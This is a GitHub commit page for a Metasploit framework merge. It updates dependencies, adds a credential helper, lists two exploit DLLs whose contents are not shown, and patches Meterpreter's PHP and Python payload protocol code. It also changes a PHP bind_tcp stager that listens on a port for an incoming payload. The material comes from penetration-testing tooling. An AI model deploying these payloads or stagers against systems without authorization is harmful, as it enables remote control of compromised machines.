Skip to content

Commit afe36ab

Browse files
egyptegypt
committed
Merge branch 'staging/electro-release' into feature/MSP-9707/smb-bruteforce-refactor
Conflicts: lib/metasploit/framework/login_scanner/smb.rb
2 parents 4e0bcc1 + 467c686 commit afe36ab

File tree

134 files changed

+4738
-1435
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

134 files changed

+4738
-1435
lines changed

‎Gemfile

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,9 +7,9 @@ group :db do
77
# Needed for Msf::DbManager
88
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
99
# Metasploit::Credential database models
10-
gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.4.8-electro-release'
10+
gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.5.6.pre.electro.pre.release'
1111
# Database models shared between framework and Pro.
12-
gem 'metasploit_data_models', '~> 0.17.2.pre.metasploit.pre.data.pre.models.pre.search'
12+
gem 'metasploit_data_models', '>= 0.18.0', '< 0.19'
1313
# Needed for module caching in Mdm::ModuleDetails
1414
gem 'pg', '>= 0.11'
1515
end

‎Gemfile.lock

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
11
GIT
22
remote: github-metasploit-credential:rapid7/metasploit-credential.git
3-
revision: b7234221ce41e311947e3e32c03aa7b6474f4f4f
4-
tag: v0.4.8-electro-release
3+
revision: 8a8b4f74535d728b1852e4d4d55abb9d828b8a8a
4+
tag: v0.5.6.pre.electro.pre.release
55
specs:
6-
metasploit-credential (0.4.8.pre.electro.pre.release)
6+
metasploit-credential (0.5.6.pre.electro.pre.release)
77
metasploit-concern (~> 0.1.0)
8-
metasploit-model (>= 0.24.1.pre.semantic.pre.versioning.pre.2.pre.0, < 0.25)
9-
metasploit_data_models (>= 0.17.2.pre.metasploit.pre.data.pre.models.pre.search, < 0.18)
8+
metasploit-model (>= 0.25.1, < 0.26)
9+
metasploit_data_models (>= 0.18.0, < 0.19)
1010
rubyntlm
1111
rubyzip (~> 1.1)
1212

@@ -67,14 +67,15 @@ GEM
6767
i18n (0.6.9)
6868
journey (1.0.4)
6969
json (1.8.1)
70-
metasploit-concern (0.1.0)
70+
metasploit-concern (0.1.1)
7171
activesupport (~> 3.0, >= 3.0.0)
72-
metasploit-model (0.24.1.pre.semantic.pre.versioning.pre.2.pre.0)
72+
metasploit-model (0.25.2)
7373
activesupport
74-
metasploit_data_models (0.17.2.pre.metasploit.pre.data.pre.models.pre.search)
74+
metasploit_data_models (0.18.0)
7575
activerecord (>= 3.2.13, < 4.0.0)
7676
activesupport
77-
metasploit-model (>= 0.24.1.pre.semantic.pre.versioning.pre.2.pre.0, < 0.25)
77+
metasploit-concern (~> 0.1.0)
78+
metasploit-model (>= 0.25.1, < 0.26)
7879
pg
7980
method_source (0.8.2)
8081
mini_portile (0.6.0)
@@ -157,7 +158,7 @@ DEPENDENCIES
157158
fivemat (= 1.2.1)
158159
metasploit-credential!
159160
metasploit-framework!
160-
metasploit_data_models (~> 0.17.2.pre.metasploit.pre.data.pre.models.pre.search)
161+
metasploit_data_models (>= 0.18.0, < 0.19)
161162
network_interface (~> 0.0.1)
162163
pcaprub
163164
pg (>= 0.11)

‎app/concerns/metasploit/credential/core/to_credential.rb

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
# Adds associations to `Metasploit::Credential::Core` which are inverses of association on models under
2+
# {BruteForce::Reuse}.
3+
require 'metasploit/framework/credential'
4+
5+
module Metasploit::Credential::Core::ToCredential
6+
extend ActiveSupport::Concern
7+
8+
included do
9+
10+
def to_credential
11+
Metasploit::Framework::Credential.new(
12+
public: public.try(:username),
13+
private: private.try(:data),
14+
private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym),
15+
realm: realm.try(:value),
16+
realm_key: realm.try(:key)
17+
)
18+
end
19+
20+
end
21+
22+
end

‎data/exploits/CVE-2013-5045/CVE-2013-5045.dll

163 KB
Binary file not shown.

‎data/exploits/CVE-2014-0257/CVE-2014-0257.dll

106 KB
Binary file not shown.

‎data/meterpreter/ext_server_stdapi.php

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,10 @@
66
##
77
# General
88
##
9-
define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600);
9+
define("TLV_TYPE_HANDLE", TLV_META_TYPE_QWORD | 600);
1010
define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601);
11-
define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630);
12-
define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631);
11+
define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_QWORD | 630);
12+
define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_QWORD | 631);
1313

1414
##
1515
# Fs
@@ -65,7 +65,7 @@
6565
define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3));
6666

6767
# Registry
68-
define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000);
68+
define("TLV_TYPE_HKEY", TLV_META_TYPE_QWORD | 1000);
6969
define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY);
7070
define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001);
7171
define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002);
@@ -90,12 +90,12 @@
9090
define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
9191

9292
# Process
93-
define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000);
93+
define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2000);
9494
define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001);
9595
define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002);
9696
define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003);
9797
define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004);
98-
define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005);
98+
define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2005);
9999
define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006);
100100
define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007);
101101
define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008);
@@ -109,16 +109,16 @@
109109
define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400);
110110
define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401);
111111
define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402);
112-
define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403);
113-
define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404);
112+
define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_QWORD | 2403);
113+
define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_QWORD | 2404);
114114
define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405);
115115
define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406);
116116

117117
define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500);
118118
define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502);
119119
define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510);
120-
define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511);
121-
define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512);
120+
define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_QWORD | 2511);
121+
define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_QWORD | 2512);
122122
define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513);
123123

124124
define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540);
@@ -137,7 +137,7 @@
137137
# Event Log
138138
##
139139
define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000);
140-
define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001);
140+
define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_QWORD | 4001);
141141
define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002);
142142

143143
define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003);

‎data/meterpreter/ext_server_stdapi.py

Lines changed: 12 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -252,6 +252,7 @@ class RTATTR(ctypes.Structure):
252252
TLV_META_TYPE_UINT = (1 << 17)
253253
TLV_META_TYPE_RAW = (1 << 18)
254254
TLV_META_TYPE_BOOL = (1 << 19)
255+
TLV_META_TYPE_QWORD = (1 << 20)
255256
TLV_META_TYPE_COMPRESSED = (1 << 29)
256257
TLV_META_TYPE_GROUP = (1 << 30)
257258
TLV_META_TYPE_COMPLEX = (1 << 31)
@@ -284,10 +285,10 @@ class RTATTR(ctypes.Structure):
284285
##
285286
# General
286287
##
287-
TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
288+
TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600
288289
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
289-
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
290-
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
290+
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
291+
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
291292

292293
##
293294
# Fs
@@ -346,7 +347,7 @@ class RTATTR(ctypes.Structure):
346347
##
347348
# Registry
348349
##
349-
TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
350+
TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000
350351
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
351352
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
352353
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
@@ -376,12 +377,12 @@ class RTATTR(ctypes.Structure):
376377
##
377378
# Process
378379
##
379-
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000
380+
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000
380381
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
381382
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
382383
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
383384
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
384-
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005
385+
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005
385386
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
386387
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
387388
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
@@ -397,16 +398,16 @@ class RTATTR(ctypes.Structure):
397398
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
398399
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
399400
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
400-
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403
401-
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
401+
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403
402+
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404
402403
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
403404
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
404405

405406
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
406407
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
407408
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
408-
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511
409-
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512
409+
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511
410+
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512
410411
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
411412

412413
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
@@ -425,7 +426,7 @@ class RTATTR(ctypes.Structure):
425426
# Event Log
426427
##
427428
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
428-
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001
429+
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001
429430
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
430431

431432
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003

‎data/meterpreter/meterpreter.php

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -125,6 +125,7 @@ function socket_set_option($sock, $type, $opt, $value) {
125125
define("TLV_META_TYPE_UINT", (1 << 17));
126126
define("TLV_META_TYPE_RAW", (1 << 18));
127127
define("TLV_META_TYPE_BOOL", (1 << 19));
128+
define("TLV_META_TYPE_QWORD", (1 << 20));
128129
define("TLV_META_TYPE_COMPRESSED", (1 << 29));
129130
define("TLV_META_TYPE_GROUP", (1 << 30));
130131
define("TLV_META_TYPE_COMPLEX", (1 << 31));
@@ -655,6 +656,11 @@ function tlv_pack($tlv) {
655656
if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
656657
$ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0");
657658
}
659+
elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
660+
$hi = ($tlv['value'] >> 32) & 0xFFFFFFFF;
661+
$lo = $tlv['value'] & 0xFFFFFFFF;
662+
$ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo);
663+
}
658664
elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
659665
$ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']);
660666
}
@@ -686,10 +692,17 @@ function tlv_unpack($raw_tlv) {
686692
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
687693
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
688694
$tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len']));
695+
# PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing
696+
# NULL, so catch that here
697+
$tlv['value'] = str_replace("\0", "", $tlv['value']);
689698
}
690699
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
691700
$tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len']));
692701
}
702+
elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
703+
$tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len']));
704+
$tlv['value'] = $tlv['hi'] << 32 | $tlv['lo'];
705+
}
693706
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
694707
$tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len']));
695708
}
@@ -911,7 +924,8 @@ function read($resource, $len=null) {
911924
$r = Array($resource);
912925
my_print("Calling select to see if there's data on $resource");
913926
while (true) {
914-
$cnt = stream_select($r, $w=NULL, $e=NULL, 0);
927+
$w=NULL;$e=NULL;$t=0;
928+
$cnt = stream_select($r, $w, $e, $t);
915929

916930
# Stream is not ready to read, have to live with what we've gotten
917931
# so far
@@ -1147,7 +1161,8 @@ function remove_reader($resource) {
11471161
# Main dispatch loop
11481162
#
11491163
$r=$GLOBALS['readers'];
1150-
while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
1164+
$w=NULL;$e=NULL;$t=1;
1165+
while (false !== ($cnt = select($r, $w, $e, $t))) {
11511166
#my_print(sprintf("Returned from select with %s readers", count($r)));
11521167
$read_failed = false;
11531168
for ($i = 0; $i < $cnt; $i++) {

‎data/meterpreter/meterpreter.py

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -54,6 +54,7 @@
5454
TLV_META_TYPE_UINT = (1 << 17)
5555
TLV_META_TYPE_RAW = (1 << 18)
5656
TLV_META_TYPE_BOOL = (1 << 19)
57+
TLV_META_TYPE_QWORD = (1 << 20)
5758
TLV_META_TYPE_COMPRESSED = (1 << 29)
5859
TLV_META_TYPE_GROUP = (1 << 30)
5960
TLV_META_TYPE_COMPLEX = (1 << 31)
@@ -150,6 +151,8 @@ def packet_enum_tlvs(pkt, tlv_type = None):
150151
val = str(val.split(NULL_BYTE, 1)[0])
151152
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
152153
val = struct.unpack('>I', val)[0]
154+
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
155+
val = struct.unpack('>Q', val)[0]
153156
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
154157
val = bool(struct.unpack('b', val)[0])
155158
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
@@ -175,6 +178,8 @@ def tlv_pack(*args):
175178
data = ""
176179
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
177180
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
181+
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
182+
data = struct.pack('>IIQ', 16, tlv['type'], tlv['value'])
178183
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
179184
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
180185
else:

‎data/php/bind_tcp.php

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,24 +9,27 @@
99
$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
1010
if (!$srvsock) { die(); }
1111
$s = stream_socket_accept($srvsock, -1);
12+
fclose($srvsock);
1213
$s_type = 'stream';
1314
} elseif (is_callable('socket_create_listen')) {
1415
$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
1516
if (!$res) { die(); }
1617
$s = socket_accept($srvsock);
18+
socket_close($srvsock);
1719
$s_type = 'socket';
1820
} elseif (is_callable('socket_create')) {
1921
$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
2022
$res = socket_bind($srvsock, $ipaddr, $port);
2123
if (!$res) { die(); }
2224
$s = socket_accept($srvsock);
25+
socket_close($srvsock);
2326
$s_type = 'socket';
2427
} else {
2528
die();
2629
}
2730
if (!$s) { die(); }
2831

29-
switch ($s_type) {
32+
switch ($s_type) {
3033
case 'stream': $len = fread($s, 4); break;
3134
case 'socket': $len = socket_read($s, 4); break;
3235
}
@@ -40,7 +43,7 @@
4043

4144
$b = '';
4245
while (strlen($b) < $len) {
43-
switch ($s_type) {
46+
switch ($s_type) {
4447
case 'stream': $b .= fread($s, $len-strlen($b)); break;
4548
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
4649
}

0 commit comments

Comments
 (0)